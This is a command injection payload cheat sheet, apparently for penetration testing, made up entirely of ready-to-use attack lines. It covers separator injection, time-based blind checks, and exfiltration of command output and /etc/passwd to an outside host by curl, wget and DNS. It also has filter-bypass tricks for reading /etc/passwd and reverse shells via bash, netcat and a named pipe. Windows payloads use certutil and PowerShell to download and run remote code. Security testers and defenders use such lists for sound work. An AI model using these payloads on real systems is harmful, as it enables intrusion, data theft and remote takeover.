OS command injection — separators and substitution, blind/time-based detection, OOB exfiltration, space/keyword/WAF bypasses, reverse shells and Windows command injection.
; id
| id
|| id
& id
&& id
`id`
$(id)
%0aid
; sleep 5
$(sleep 5)
; ping -c 5 127.0.0.1
& ping -n 5 127.0.0.1
; curl http://10.10.14.1/$(whoami)
; nslookup `whoami`.10.10.14.1
; curl --data @/etc/passwd http://10.10.14.1/
; wget http://10.10.14.1/$(id|base64)
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
c''at /et''c/pa''sswd
/???/?at /etc/passwd
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
; bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
; nc -e /bin/bash 10.10.14.1 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f
& whoami
& certutil -urlcache -f http://10.10.14.1/s.exe s.exe & s.exe
& powershell -enc <BASE64>
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/s.ps1')"